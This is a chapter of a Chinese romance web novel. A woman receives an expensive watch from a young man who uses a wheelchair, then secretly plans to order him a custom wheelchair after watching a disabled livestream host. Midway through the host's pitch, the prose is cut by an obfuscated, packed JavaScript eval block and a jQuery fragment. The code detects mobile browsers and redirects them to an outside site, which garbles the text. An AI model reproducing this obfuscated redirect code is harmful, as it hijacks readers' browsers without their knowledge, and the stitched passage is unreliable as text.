11.关心
作品:《捡到一个轮椅男》 竹濛认得这个logo,英伦风轻奢品牌,基础款式的女士腕表也抵冯星晚这个月的工资了。
“给……我的?”竹濛发怔问道。
外盒表面那一层软乎乎的短绒毛舔舐她的指腹,麻痒参半,她手指触一下盒子又分开。
中电了似的,她一阵心悸耳热。
“嗯。”冯星晚一手攀着沙发靠背,一手撑在身侧打直手肘,他挺直腰背点头笑,“我觉得这一款挺配你平时的穿搭的,竹濛,你喜欢吗?”
送礼的人,比收礼的人更显羞涩腼腆。
白T恤剪裁他宽阔笔直的肩线,领口处,沐浴之后的一圈湿渍尚未蒸发尽,微微腾红的长颈渗出半透明的布料。
他紧张抿唇,又饱含期待。
“啪——”
竹濛面无表情地合上绒布盒,把手表物归原位:“我不收,太贵重了。”
连购物袋两边的抽绳都摆对称,竹濛端起蜂蜜水,把嘴唇搭上去嘟囔:“你拿去退了吧。”
闻言,冯星晚焦急张嘴却只无声地阿巴阿巴。
半晌,他组织好措辞:“竹濛,我没有要讨好你,我也没有其他的意思。我只是,很想很想感谢你,感谢你收留我,也感谢你给我介绍了一份那么好的工作。做人要懂得感恩,我不能只一味地接受你的恩惠。”
他蔫头耷脑,声音几乎埋进抱枕里:“我知道,那块手表对你来说不算很贵重的东西,你轻松就能负担得起。你所谓的贵重,是你用我的经济条件来衡量的。”
“我也知道我现在很差,差到,连送你一份礼物,你都不收。但我不会一直这么穷,我会很努力很努力地赚钱,我会努力考上好的大学,努力争取铁饭碗,努力练习配音,努力当选《长思赋》的男主角的配音,努力做最能给你赚钱的声优。”
一口气数个“努力”,他在努力让她相信。
沁甜蜂蜜水流连口腔,竹濛吞咽缓慢,不让咕咚声妨碍她悉数听到他的恳切字句。
……好家伙。
……他为了送出手表,掏心掏肺自我剖析,奉上人生理想和奋斗目标,致富还不忘带上她。
……不要太真诚了。
适如其分的甜逸出杯口,滋润竹濛的鼻腔,甜得她鼻子发痒,心口仿佛被什么撞了一下。
“竹濛。”竹濛的沉默不甚明了,冯星晚低头,他额前的碎发铺开阴影,笼罩他的清俊眉眼,“你是不是觉得我在说大话?觉得我痴心妄想?”
“没有啊。”竹濛从杯中抬起眸子。
写得满满登登的试卷铺于餐桌上,黑笔答题,红笔批阅,睡前,他还要再刷一张,单词速记本翘起了刺刺毛边,不知,他那蜷缩的手指翻过多少遍。
鼓起又放气的气球瘪瘪地搁在试卷旁,学累了,他便拿起气球吹以增强心肺功能。
到处都是他孜孜不倦的痕迹。
他的未来会如他所愿,她如此坚信。
“冯星晚,你别瞎猜我,我对你可是非常有信心的。”竹濛舔舔润甜的唇壁,喝完蜂蜜水,去水龙头下冲洗杯子,没再提退不退货的事。
流水哗啦作响,冯星晚提高嗓门追问:“如果,今天是一个经济条件还不错的男……”
他收回半个音节,重音道:“……人。我是说一个经济条件不错的人送你这块表,你是不是就没有心理负担了?竹濛,你还会让他去退货吗?”
竹濛不置可否。
把滴水的杯子倒挂在漏水架上,她一边擦手一边转身,一大片滚滚乌云从沙发径直撞入她的视线。
——冯星晚恍如浸在滂沱大雨之中的无助小狗,发稍尚缀着剔透的水珠。
他低头敛眸,眼角下垂,笔直的脊背弓陷,瘫脚上的那处猩红血斑都没有他此刻的神态破碎。
——都怪我太穷了。
竹濛一秒洞悉他的心里话。
他低落的样子显得她不接受即是罪大恶极。
竹濛莫名觉得,这场景,就像献宝的小狗兴冲冲叼一根骨头飞奔向她,而她这个坏蛋不仅不摸摸头给予夸奖,她还扫兴,冷漠地让小狗把骨头在哪捡的就搁回哪去。
……良心受到谴责。
换位思考,如若她精心挑选礼物相送,她也不希望对方拒绝自己的一片心意。
再说,打工牛马最盼望的发薪日,大好的日子,她也不想拂了他的好心情。
“……咳。”竹濛虚握拳头,靠在嘴边咳一下,“冯星晚,我是在担心,你的工资都拿去买手表了,我们这个月的晚餐喝西北风吗?”
笑话生冷,她干笑两声:“这个月天气晴朗,不刮风不下雨,恭喜我们要饿死啦,哈哈。”
四周忽静,竹濛被自己的冷笑话烂到了。
“……”她尴尬地脚趾默默抓紧拖鞋。
倏然,一声隐忍着的轻笑破出冯星晚的唇缝。
他熠熠的目光望来:“我留了吃饭的钱!”
他晃晃悠悠地前倾,想离竹濛近一点,上半身带动双脚向内并合,两只大拇脚指相抵,药水蹭到了另一只脚,他余光瞥见了,却只顾着傻乐:“你放心,晚餐还是一荤两素一汤,我绝不会偷工减料。”
竹濛状似随性地哼了一声:“嗯哼。”
“那……”他眼眸里倒映着细碎灯火,內蜷的手指往手心激动地抽颤了几下,深吸气而后问,“你收下我的礼物,好不好?我真的很想送给你。”
“哦。”
“收下吧。”他唤得轻软,“好不好?”
“行吧,你买都买了。”
他的小虎牙闪现一下,似乎自觉不稳重,他急忙收敛笑颜,却仍隐笑外露:“竹濛,谢谢你。”
谢她?
到底谁送谁礼物?到底谁该说谢谢?
竹濛看着乐得跟个大傻子似的冯星晚,绷住嘴角不随他乐呵,家里有冯星晚一个傻子就够了。
瞄到他年久失修的轮椅,她好奇问道:“你怎么不想着先给自己换个轮椅?”
轮椅无异于他的腿,离开轮椅他寸步难行,怎么想,都是换辆新的更为首要。
“以后再换。”他再度笑出虎牙,伸出瘫手用手腕去够轮椅,勾着扶手将轮椅往身边拉,“这辆还能用。我也用习惯了,不急着换新的。”
第一笔工资,他想用在更有纪念意义的事上:未来漫漫,但只要忆起,便满心欢喜。
*
回到卧室,竹濛一个飞扑投入软床,双手护着手表盒,不让其受到磕碰。
骨碌碌打滚两圈,她在另一侧的床边边仰面朝天,将手表举到眼前一丝不苟地用眼睛描摹。
怎么看,怎么喜欢。
冯星晚的审美还挺靠谱。
旧手表丢一边,竹濛迫不及待地换上新的,调整时间,表盘倒映出她笑意盈然的脸。
论价格,这块腕表自然算不上多么高档货,但论价值,是冯星晚沉甸甸的毫无保留。
交往了好几年的何虹桎都没送过她上千块钱的东西,而一穷二白的冯星晚,却对她穷大方。
整个大学时代,她和何虹桎出去吃喝玩耍皆是费用平摊。
何虹桎不浪漫,逢年过节,他也不太送她礼物,只有她过生日了,他才会准备一份小心意,然后,她在他的生日之时,再按照他的兴趣回赠一份。
学生党,花的都是家长的钱,就这样朴素的你来我往,竹濛觉得挺好的。
习惯延续到了他们工作后,去年,何虹桎月薪过两万,送她的生日礼物也还是大学时候的标准,一个八十九块钱的发卡,连价签都没撕掉。
竹濛不拜金,买东西量力而为,她也从不嫌何虹桎送的礼物平价化,朋友炫耀男友给买的雕家香奶奶家的包包时,她也只是心如止水地听听。
可分手后,她后知后觉地介怀。
——何虹桎并非迟钝不解风情,而是他更愿把钱花给他自己和别的女人。
有时贵重,要看对方倾出了几分。
*
欣赏不腻,竹濛翻来覆去地端详冯星晚送的腕表,忽然间想起上网上查询一下价格,心里有个数。
八千八。
竹濛讶然蹙眉,瞪眼又瞅了一遍价格。
冯星晚正处于实习期,底薪只拿一半,这个月,竹濛拢共也就给他安排了两个广告配音和一个小型网游的配音。
虽然个人的薪酬不透明,但竹濛凭借经验不难判断,他这月到手的工资一定没有八千八。
他动用存款了?
眉宇间的皱痕又加深了一寸,竹濛下唇撅起,双手缓缓垂落于胸口,右手覆在戴着腕表的左腕之上,微凉的表盘由她温热的手掌抱个满怀。
指尖有一下没一下地敲腕骨,心跳同样跳得七七八八没规律,躁而乱。
竹濛心中大为动容,但也很想冲出卧室吼冯星晚:“你买那么贵的干嘛?不会买一块便宜一点的手表,再留一点钱拿去换个好些的轮椅吗?”
他自己舍不得换。
那她给他换一辆吧。
一个干脆利落地翻身趴在床上,竹濛翘起双脚晃悠,在购物软件上输入“轮椅”搜索。
轻便小型轮椅,折叠轮椅,电动轮椅,运动轮椅……涉及到竹濛的知识盲区。
款式各异,功能多样,越往下滑,竹濛便越发现自己对残障人士的代步工具知之甚少,有几款科技感极强,她恍惚进入了赛博朋克2077。
某品牌正在直播,竹濛点进直播间。
“各位轮友,我现在坐的这一辆轮椅,是我们直播间下单率最高的,也是口碑最好的一款!用过的,都说好用!这一款,尤其适合伤得位置高的,比如说我。我是C5C6,我的腰一点力气都没有,上背部也没力。你们看,我弯腰……哎,小鹏,扶一下我……我……起不来了。”
主播是一位脊髓损伤的小姐姐,一旁的工作人员将险些脸砸膝盖的她捞了起来。
“你们看到了吧,我真的一点力气都没有,只有手能活动。”主播继续介绍,“轮椅椅背低一点的,我都坐不稳,但是我家的这一款不一样。这款的靠背承托力很强,哪怕椅背矮一点,像我这种高位的,也能坐稳。坐着很舒服,我坐一般的手动轮椅,坐半小时就累得不行了,但我们家的这一款,我坐四个小时都不累,我能一直坐到直播结束。”
“坐垫的透气性也非常好,坐久了,也不会捂屁股。你们都知道的嘛,我们轮友的屁股比脸重要,脸风吹日晒都没事,屁股压久就破,破了,还不容易长好,在床上趴十天半个月养伤,自己难受,也让家里人受累照顾我们。而且,我最最最推荐的一点是——”
说罢,主播屈肘,将双手放在轮椅两侧的手推圈上,在镜头范围内滑动:“一般的手动轮椅不好划,像我们高位的,胳膊本来力气就不大,划不了几下,胳膊就累了,最后,还得依赖别人推我们。但咱家的这款超级无敌好推,轮子很丝滑,你们看呗,我这样轻轻一推,就滑出去一米了,非常省力!”
全然陌生的领域,竹濛聚精会神地看与听。
细瘦萎缩的小腿,肌肉流失殆尽,大腿上的软肉摊开在轮椅坐垫上面,绵软的腰背必须刻意挺才直得起来,肌理塌陷的小臂,瘦到骨络分明,带动一双手指蜷缩的手,活动的时候,手指偶尔兀自抽颤。
主播的样子竹濛并不陌生。
冯星晚也有。
竹濛闲时没少蹲直播间抢购,几十万上百万人数的直播间,比菜市场还热闹,弹幕无声地叽叽喳喳,她看一眼残障小姐姐直播间的人数,仅一百多人。
还好,她呼出酸楚的舒气。
没有那么多人需要买这些。
“轮友们,我们公司近期搞活动,给的都是最低价
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504559|169506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!下单买链接里面的那几款轮椅,我们会送辅具的抵扣券哦!”主播两手的掌根夹起腿上的东西展示给镜头,“还送这个,辅助手套,吸水吸汗的,我们高位用这个超级方便。手套单卖都要49呢,有需要的话,趁这次活动力度大,赶紧下手吧!”
辅助手套?
竹濛想起冯星晚那破烂褴褛的黑手套,洗得都开线了,她一颗心蠢蠢欲动。
“这次活动,我们还免定制费。”主播笑道,“我们的工程师根据你的身高体重,腿长臂长,来订制轮椅的坐宽、坐高,和脚踏板的高度。轮友们,符合你们身型的轮椅,才是最适合你们的,可以避免脊柱侧弯。我们没知觉,脊柱侧弯压迫到内脏了也不知道疼,等感觉难受的时候,就晚啦。所以要提前预防脊柱侧弯,坐量身订制的轮椅。”
轮椅还能订制呢?
竹濛算长见识了。
她凝神观察,主播小姐姐的轮椅恰恰好容纳她的下半身,弯折的双腿呈直角状,不高不低,坐垫两侧的留白也恰到好处。
而冯星晚的轮椅宽大得像孩子偷穿大人的衣服,坐高也偏低,他有点撅着腿。
还不等竹濛感叹轮椅的门道还挺深,竟有如此多的讲究,主播一把火添来:“友友们,订制因为没有现货,所以比较花时间,早下单,早收货哦!点击这个链接,选择‘订制’,拍下后,把身体的各项数据发给客服,有什么疑问都可以咨询客服,工厂制作好我们将第一时间发……”
未等主播的口播结束,竹濛已经稀里糊涂下单了。
客服自动回复:【亲爱的轮友或轮友家人,十分感谢您选择我们的品牌。若您选择“订制款”,请按照下方的格式,填写使用者的信息……】
……竹濛一概不知。
冯星晚的身高体重未知,大腿小腿长未知,臀宽臂长未知,偏偏肉眼难以估摸,必须以尺测量。
翻出来一把卷尺,睡裤没有口袋,竹濛便将卷尺捏手里,踱步而出卧室,手背在身后。
客厅点一盏节能台灯,冯星晚说给她省电费,晚上刷题从来不开吊灯。
“还没睡吗?”
清朗嗓音伴着他侧转过来的面颊,染着些许夜晚独有的温柔,竹濛觉得脚下的拖鞋都软之又软。
他清秀面容由暖黄的光一分为二,明的一边,唇畔的浅笑暖得好似由光编织,暗的一边,削弱了几分柔和,鼻梁挺直,眉眼平添深邃。
竹濛顿了一下,才开口:“嗯,有……点事。”
“需要我帮忙吗?”话音落下,他似乎反应过来他这破身子不帮倒忙就属万幸了,笑容浮一丝讪然,轻甩酸困的右腕,“如果我能帮得上忙,尽管叫我。”
“你忙你的,你学你的。”竹濛打开了客厅的吊灯,大大咧咧地挥挥手,“你别管我,我也不打扰你。”
他送的腕表是意外之喜,那她的回赠,也要暗中筹备,把这份惊喜感拉满。
“嗯,那我继续背书了。”
他回头,投身于书海,默背文言文。
竹濛脚尖踩地地轻悄悄绕到冯星晚的背后,才拿出了卷尺,在他的视线盲区一小节一小节地慢慢往外抽……
“咔咔——”
……该死!
……怎么还有动静!
钢卷尺的金属脆声在安静的客厅分外突兀,尽管竹濛的动作比穿针还缜密了。
冯星晚闻声回头,竹濛慌里慌张!
眼见来不及藏起来了,藏起来倒还显得她鬼鬼祟祟的,她“喀啦”一下,索性把钢卷尺抽了老长出来。
“我……在网上看了一副挂画。”竹濛吞口水,拿着卷尺往白墙上比划,“量量看,看看买什么尺寸的合适。”
“竹濛,你要不要先问问房东?”冯星晚薄透的眼皮高高掀起,眼眸润得犹如煮雨,他思忖一下,“因为有的房东不让租客在墙上打钉子,或者粘胶。”
竹濛:“……”
他说得好有道理。
“我量……桌布!”竹濛尴尬地拿着卷尺,几步跨到餐桌边,“我换桌布总行了吧?”
他抿唇笑着点头:“我的手不方便,那你来量,你选好桌布发给我,我来付款。”
“姐姐我是买不起桌布吗?还要你来付钱。”收了八千八的手表,竹濛不可能再让冯星晚花钱,道,“我们说好的,你只负责采购食材,其他的你别管。”
不给他反驳的机会,竹濛屈指节叩桌面:“你快点背书吧,快点背完快点睡觉。”
他想争取,但最终还是听话地应道:“嗯,我马上就背完了,你也早点休息。”
竹濛装模作样地量了餐桌的长度和宽度,她又蹲下,此地无银三百般地碎碎念:“还是量一下高度吧,别买桌布买太长了,别垂地上了。”
她就蹲在冯星晚的旁边。
桌子做掩体,他的腿脚又无知觉,她可以神不知鬼不觉地测量他的小腿有多长。
然而一蹲下,她的注意力被他另一只脚大拇脚趾上的棕色药水给夺去,不由惊呼:“你的另一只脚也撞伤了?”
竹濛急着抬头。
冯星晚眼疾手快护住她即将磕在桌沿的脑袋,她砸进他肌腱萎缩的手掌。
“小心!撞疼了没?”他关切道,担心得颤了音。
缩了缩脖子,竹濛揉后脑勺,眼神闪烁:“没有,不疼。你的脚刚才不都好好的吗?怎么又破了?”
见竹濛不打紧,冯星晚放下心来,他掌根残留模糊知觉,她绸缎般的发的触感,搅乱了他一心向学的心。
冯星晚将摸到她头发的手轻轻贴在胸口,露齿一笑:“没破。是刚从不小心蹭到的药水,我擦不掉,就这样放着了,明天洗澡的时候洗掉就好。”
“擦不掉我给你擦。”竹濛忽然灵机一动,拉开椅子坐下,拍拍自己的大腿,“来,把腿放上来。”